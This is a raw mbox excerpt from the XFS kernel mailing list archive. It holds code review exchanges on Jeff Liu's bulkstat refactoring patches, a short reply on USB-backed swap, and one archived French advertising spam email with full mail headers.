05:22, Jeff Liu wrote: > From: Jie Liu > > Introduce xfs_bulkstat_ichunk_ra() to loop over all clusters in > the next inode chunk, then performs readahead if there are any > allocated inodes in that cluster. > > Refactor xfs_bulkstat() with it. > > Signed-off-by: Jie Liu > --- Had some problems applying this patch. ... > +STATIC void > +xfs_bulkstat_ichunk_ra( > + struct xfs_mount *mp, > + xfs_agnumber_t agno, > + struct xfs_inobt_rec_incore *irec) > +{ > + xfs_agblock_t agbno; > + struct blk_plug plug; > + int blks_per_cluster; > + int inodes_per_cluster; > + int i; /* inode chunk index */ > + > + agbno = XFS_AGINO_TO_AGBNO(mp, irec->ir_startino); > + blks_per_cluster = xfs_icluster_size_fsb(mp); ^^^^^ does not exist. > @@ -187,7 +218,6 @@ xfs_bulkstat( > char __user *ubuffer, /* buffer with inode stats */ > int *done) /* 1 if there are more stats to get */ > { > - xfs_agblock_t agbno=0;/* allocation group block number */ > xfs_buf_t *agbp; /* agi header buffer */ > xfs_agi_t *agi; /* agi header data */ > xfs_agino_t agino; /* inode # in allocation group */ > @@ -206,8 +236,6 @@ xfs_bulkstat( > xfs_inobt_rec_incore_t *irbuf; /* start of irec buffer */ > xfs_inobt_rec_incore_t *irbufend; /* end of good irec buffer entries */ > xfs_ino_t lastino; /* last inode number returned */ > - int blks_per_cluster; /* # of blocks per cluster */ > - int inodes_per_cluster;/* # of inodes per cluster */ > int nirbuf; /* size of irbuf */ > int rval; /* return value error code */ > int tmp; /* result value from btree calls */ > @@ -236,8 +264,6 @@ xfs_bulkstat( > *done = 0; > fmterror = 0; > ubufp = ubuffer; > - blks_per_cluster = xfs_icluster_size_fsb(mp); > - inodes_per_cluster = blks_per_cluster<< mp->m_sb.sb_inopblog; > irbuf = kmem_zalloc_greedy(&irbsize, PAGE_SIZE, PAGE_SIZE * 4); > if (!irbuf) > return ENOMEM; > @@ -345,25 +371,7 @@ xfs_bulkstat( > * Also start read-ahead now for this chunk. > */ > if (r.ir_freecount< XFS_INODES_PER_CHUNK) { > - struct blk_plug plug; > - /* > - * Loop over all clusters in the next chunk. > - * Do a readahead if there are any allocated > - * inodes in that cluster. > - */ > - blk_start_plug(&plug); > - agbno = XFS_AGINO_TO_AGBNO(mp, r.ir_startino); > - for (chunkidx = 0; > - chunkidx< XFS_INODES_PER_CHUNK; > - chunkidx += inodes_per_cluster, > - agbno += blks_per_cluster) { > - if (xfs_inobt_maskn(chunkidx, > - inodes_per_cluster)& ~r.ir_free) > - xfs_btree_reada_bufs(mp, agno, > - agbno, blks_per_cluster, > - &xfs_inode_buf_ops); > - } > - blk_finish_plug(&plug); > + xfs_bulkstat_ichunk_ra(mp, agno,&r); > irbp->ir_startino = r.ir_startino; > irbp->ir_freecount = r.ir_freecount; > irbp->ir_free = r.ir_free; last 3 chunks failed to apply because the sources have nbcluster/nicluster (and nimask) instead of blks_per_cluster/inodes_per_cluster. --Mark. From stefanrin@gmail.com Mon Dec 30 11:19:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2D95229DF8 for ; Mon, 30 Dec 2013 11:19:56 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 109AF304062 for ; Mon, 30 Dec 2013 09:19:53 -0800 (PST) X-ASG-Debug-ID: 1388423977-04bdf00fde38f0a0001-NocioJ Received: from mail-wg0-f48.google.com (mail-wg0-f48.google.com [74.125.82.48]) by cuda.sgi.com with ESMTP id wlaHLGSAWSRYQjWn (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 30 Dec 2013 09:19:38 -0800 (PST) X-Barracuda-Envelope-From: stefanrin@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.48 Received: by mail-wg0-f48.google.com with SMTP id z12so10164280wgg.15 for ; Mon, 30 Dec 2013 09:19:36 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=PlIjw7pzWEyZjscds3KUZnvgWErDhsOSZ1MnY2Gqut0=; b=iOUuoXviVNTi/bKFznsR4scyIuxyaNEKBGNDB/alEwipM/r/RtS7z4wRr7kgiqb8zn mv4iY7+PzjQ4ck45txgNkh18wF5dVOKAJKz2eteWujisf6Gb2JjM2BJpmMmJYt4XxD29 8bQRcJotKGjf5tDiBQMrIoXudv6tKzkwlZuOZdy5T6f9AKWtUZrjj+D8K+MpizHQNI/T YDe6NXryb4DxJsIxwR6OcwTa+vxLFUD7PvlPIQeoMpnBuipFXKAD1Uqo8atbKJi+rf+U sbS6UlOeMO4QdYTWE5H3MgTGe0RQCL0S0fReexCLizE07WJ1pUszrfqdRYFkDQn9pjMf Mr3A== MIME-Version: 1.0 X-Received: by 10.195.12.49 with SMTP id en17mr27697641wjd.20.1388423976561; Mon, 30 Dec 2013 09:19:36 -0800 (PST) Received: by 10.194.134.67 with HTTP; Mon, 30 Dec 2013 09:19:36 -0800 (PST) In-Reply-To: <52C0D281.7040704@hardwarefreak.com> References: <201312270907.22638.arekm@maven.pl> <20131227224212.GK20579@dastard> <201312280020.39244.arekm@maven.pl> <20131229095033.GL20579@dastard> <52C0D281.7040704@hardwarefreak.com> Date: Mon, 30 Dec 2013 18:19:36 +0100 Message-ID: Subject: Re: [xfs_check Out of memory: ] From: Stefan Ring X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] To: Linux fs XFS Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-wg0-f48.google.com[74.125.82.48] X-Barracuda-Start-Time: 1388423977 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143566 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature > Now this is an interesting idea Dave. I hadn't considered temporary > swap. Would USB be reliable enough for this? I've seen lots problem > reports with folks using USB storage with Linux, random disconnections > and what not. I have two plug computers running Linux from external USB disk drive enclosures for about 3 years, and I've never had the slightest problem. So it cannot be a fundamental problem. But exporting over iSCSI is likely the better option anyway. From tinguely@sgi.com Mon Dec 30 12:18:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AA48D29DF8 for ; Mon, 30 Dec 2013 12:18:40 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8E402304051; Mon, 30 Dec 2013 10:18:37 -0800 (PST) Message-ID: <52C1B900.8080002@sgi.com> Date: Mon, 30 Dec 2013 12:18:40 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Jeff Liu CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 9/10] xfs: implement bulkstat per allocation group References: <52BEB47B.3090001@oracle.com> In-Reply-To: <52BEB47B.3090001@oracle.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/28/13 05:22, Jeff Liu wrote: > From: Jie Liu > > With xfs_perag_bulkstat(), we can return stat information in bulk by > inode as per the given allocation group number and start inode number > in it via a new ioctl(2) in the future. > > Refactor xfs_bulkstat() with it. > > Signed-off-by: Jie Liu > --- causes xfs/183 to assert for me: XFS: Assertion failed: fs_is_ok, file: /root/xfs/fs/xfs/xfs_itable.c, line: 409 --Mark. From tinguely@sgi.com Mon Dec 30 12:21:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 432DF29DF8 for ; Mon, 30 Dec 2013 12:21:42 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id 21022304059; Mon, 30 Dec 2013 10:21:42 -0800 (PST) Message-ID: <52C1B9B8.5080403@sgi.com> Date: Mon, 30 Dec 2013 12:21:44 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Jeff Liu CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 1/10] xfs: remove redundant stat assignment int xfs_bulkstat_one_int References: <52BEB3DF.8080901@oracle.com> In-Reply-To: <52BEB3DF.8080901@oracle.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/28/13 05:19, Jeff Liu wrote: > From: Jie Liu > > Trivial fix to get rid of redundant BULKSTAT_RV_NOTHING assignment > in xfs_bulkstat_one_int(). > > Signed-off-by: Jie Liu > --- Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Mon Dec 30 12:35:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2470029DF8 for ; Mon, 30 Dec 2013 12:35:15 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id E871C304051; Mon, 30 Dec 2013 10:35:14 -0800 (PST) Message-ID: <52C1BCE5.1070707@sgi.com> Date: Mon, 30 Dec 2013 12:35:17 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Jeff Liu CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 2/10] xfs: xfs_bulkstat_single consolidation References: <52BEB3E7.2080706@oracle.com> In-Reply-To: <52BEB3E7.2080706@oracle.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/28/13 05:20, Jeff Liu wrote: > From: Jie Liu > > In xfs_bulkstat_single(), xfs_bulkstat_one() and xfs_bulkstat() might > return different error if either call failed, we'd better return the > proper error in this case. Moreover, the function argument done is > useless in terms of xfs_ioc_bulkstat(), hence we can get rid of it. > > Signed-off-by: Jie Liu > --- Yes, I know dmapi is not loved here but SGI still uses it and it wants the done flag still. --Mark. From pam=news-zetrend.com@mlgnusa.com Mon Dec 30 22:40:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.1 required=5.0 tests=HTML_IMAGE_RATIO_04, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D225129DF8 for ; Mon, 30 Dec 2013 22:40:24 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C15E3304048 for ; Mon, 30 Dec 2013 20:40:21 -0800 (PST) X-ASG-Debug-ID: 1388464811-04cb6c537bac5f60001-NocioJ Received: from mail7.mlgnusa.com (mail7.mlgnusa.com [194.19.244.214]) by cuda.sgi.com with ESMTP id OwKqG79HbQkCbmlt for ; Mon, 30 Dec 2013 20:40:12 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.214 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=naHvjHRf+ATxezg5CTRh1tYZAGM=; b=UaaWOybKdk5VLQdO8iP1Q8HK2BTtZKD/QVdBUeoSfAYYHIGY5hpdQ4rbb6DET+LIEVcp3tMcrVZt yCprVF4BfD/Lktv8RF1fDugvNnLDj4fEhRxPQlaJxWaSnzZYN+ThTzMPXxW9S/XSa1SHcsTRMj7b qxBuC/Z8fdCCKyCSF+Q= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=mPAYMM0x2qmYtNMbFTQceKbcFQ5jDsFcSn79zFrRVz2T/Z12nb8hO7eASTof5tpAiPOo3x+KXuf4 dNVX+fqq1Z4+Yru9NrOSBxeJAtk/z+ecxxLCr9jAyHqTJzyAUfekQ/QpSgQsvmWFDmKdL5TWqIIZ ES55iAUTRBuiGv5n4xc=; Received: by mail7.mlgnusa.com id ho95au1fblcd for ; Tue, 31 Dec 2013 06:40:09 +0200 (envelope-from ) Date: Tue, 31 Dec 2013 06:16:30 +0200 To: From: IdealDouche Reply-To: IdealDouche Subject: =?utf-8?Q?Nouveau,_enfin_une_douche_pratique_et_s=C3=A9curis=C3=A9e._Devi?= =?utf-8?Q?s_gratuit?= Message-ID: <410718c6f1a124e91e99990aebc2905d@mlgnusa.com> X-ASG-Orig-Subj: =?utf-8?Q?Nouveau,_enfin_une_douche_pratique_et_s=C3=A9curis=C3=A9e._Devi?= =?utf-8?Q?s_gratuit?= X-Priority: 3 X-Mailer: MailiGen Mailer - **CID5366eebed09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.5366eebe X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.5366eebe X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=5366eebe&e=d09c0023 List-Unsubscribe: , Sender: "IdealDouche" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_de74273fc91af7480a88082af3a828d4" X-Barracuda-Connect: mail7.mlgnusa.com[194.19.244.214] X-Barracuda-Start-Time: 1388464812 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.17 X-Barracuda-Spam-Status: No, SCORE=0.17 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, HTML_IMAGE_RATIO_04, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143581 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.17 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --b1_de74273fc91af7480a88082af3a828d4 Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit Idealdouche : Une solution unique en France ! : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E Idealdouche : Une solution unique en France ! : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E • Une sécurité d'utilisation totale • Installation en moins d'une journée • Parfaitement modulable : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E Une sécurité d'utilisation totale Seuil d'accès très bas, revêtement antidérapant, barre de maintien, siège rabattable anti-glisse... Chaque élément IdealDouche® participe à une totale sécurité́ de déplacement et de mouvement. D'où une inestimable tranquillité́ d'esprit à l'usage ! Installation en moins d'une journée C'est simple : du jour au lendemain, sans détruire le mur ni le sol de votre salle de bain, IdealDouche® est posée par un Technicien expert. Vous transformerez ainsi votre espace en un lieu de détente et de bien-être parfaitement sécurisé ! Parfaitement modulable IdealDouche s'adapte parfaitement à la configuration de votre salle de bain, et vient s'installer à la place de votre ancienne baignoire ou de votre ancienne douche. Sa taille est ajustable selon vos souhaits, ce qui vous garantit une douche des plus spacieuses. : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E * Senior Actu, Mercredi 12 octobre 2011 : « Les chutes touchent durement et mortellement les seniors » ** Dossier de presse novembre 2000 « Prévention des chutes chez les personnes âgées » Sécurité Sociale Comité Français d'Éducation pour la Santé. : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E ========================================== Ce courriel a été envoyé par IdealDouche à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=5366eebe&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=5366eebe&ln=fr ========================================== Ce courriel a été envoyé par IdealDouche à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=5366eebe&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=5366eebe&ln=fr --b1_de74273fc91af7480a88082af3a828d4 Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit Idealdouche : Une solution unique en France !
    IdealDouche
    Idealdouche : Une solution unique en France !
    La 1ère douche de plain-pied conçue sur mesure Couple
    Choisissez la solution totalement nouvelle et 100 % sécurité pour votre salle de bain !
      • Une sécurité d'utilisation totale
      • Installation en moins d'une journée
      • Parfaitement modulable
    Devis sans engagement
    Ingénieuses de par leur conception, nos douches sont uniques en France.
    IdealDouche Une sécurité d'utilisation totale
    Seuil d'accès très bas, revêtement antidérapant, barre de maintien, siège rabattable anti-glisse...
    Chaque élément IdealDouche® participe à une totale sécurité́ de déplacement et de mouvement.
    D'où une inestimable tranquillité́ d'esprit à l'usage !

    Normes
    Installation en moins d'une journée
    C'est simple : du jour au lendemain, sans détruire le mur ni le sol de votre salle de bain, IdealDouche® est posée par un Technicien expert.
    Vous transformerez ainsi votre espace en un lieu de détente et de bien-être parfaitement sécurisé !


    Parfaitement modulable
    IdealDouche s'adapte parfaitement à la configuration de votre salle de bain, et vient s'installer à la place de votre ancienne baignoire ou de votre ancienne douche. Sa taille est ajustable selon vos souhaits, ce qui vous garantit une douche des plus spacieuses.
    Le saviez-vous ?
         *   Senior Actu, Mercredi 12 octobre 2011 :
              « Les chutes touchent durement et mortellement les seniors »
         **  Dossier de presse novembre 2000 « Prévention des chutes chez les personnes âgées »
              Sécurité Sociale Comité Français d'Éducation pour la Santé.
    Demandez un devis gratuit c'est sans engagement !
    Ce courriel a été envoyé par IdealDouche à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_de74273fc91af7480a88082af3a828d4-- From jeff.liu@oracle.com Tue Dec 31 03:46:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EDFE67F3F for ; Tue, 31 Dec 2013 03:46:29 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E0203304053 for ; Tue, 31 Dec 2013 01:46:26 -0800 (PST) X-ASG-Debug-ID: 1388483182-04cb6c537bad1e10001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id HK0a5fNiT13WAbvC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Tue, 31 Dec 2013 01:46:22 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBV9kK7q010615 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 31 Dec 2013 09:46:21 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBV9kJTP006820 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 31 Dec 2013 09:46:19 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBV9kI7F009621; Tue, 31 Dec 2013 09:46:18 GMT Received: from [192.168.1.106] (/221.223.109.183) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 31 Dec 2013 01:46:18 -0800 Message-ID: <52C29265.8030701@oracle.com> Date: Tue, 31 Dec 2013 17:46:13 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Mark Tinguely CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 6/10] xfs: introduce xfs_bulkstat_ichunk_ra References: <52BEB459.7020202@oracle.com> <52C1A5F7.2040604@sgi.com> X-ASG-Orig-Subj: Re: [PATCH 6/10] xfs: introduce xfs_bulkstat_ichunk_ra In-Reply-To: <52C1A5F7.2040604@sgi.com> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1388483182 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143587 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2013年12月31日 00:57, Mark Tinguely wrote: > On 12/28/13 05:22, Jeff Liu wrote: >> From: Jie Liu >> >> Introduce xfs_bulkstat_ichunk_ra() to loop over all clusters in >> the next inode chunk, then performs readahead if there are any >> allocated inodes in that cluster. >> >> Refactor xfs_bulkstat() with it. >> >> Signed-off-by: Jie Liu >> --- > > Had some problems applying this patch. > ... > >> +STATIC void >> +xfs_bulkstat_ichunk_ra( >> + struct xfs_mount *mp, >> + xfs_agnumber_t agno, >> + struct xfs_inobt_rec_incore *irec) >> +{ >> + xfs_agblock_t agbno; >> + struct blk_plug plug; >> + int blks_per_cluster; >> + int inodes_per_cluster; >> + int i; /* inode chunk index */ >> + >> + agbno = XFS_AGINO_TO_AGBNO(mp, irec->ir_startino); >> + blks_per_cluster = xfs_icluster_size_fsb(mp); > ^^^^^ > does not exist. This patch series is based on my previous code refactoring of introducing xfs_icluster_size_fsb() helper. I guess you would apply this patch on top of that without the current problems. Thanks, -Jeff From jeff.liu@oracle.com Tue Dec 31 03:51:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3C3DB7F3F for ; Tue, 31 Dec 2013 03:51:43 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1C9A9304053 for ; Tue, 31 Dec 2013 01:51:43 -0800 (PST) X-ASG-Debug-ID: 1388483501-04bdf00fe23bb2a0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id H0rPphTqFM0V8vk3 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Tue, 31 Dec 2013 01:51:41 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com 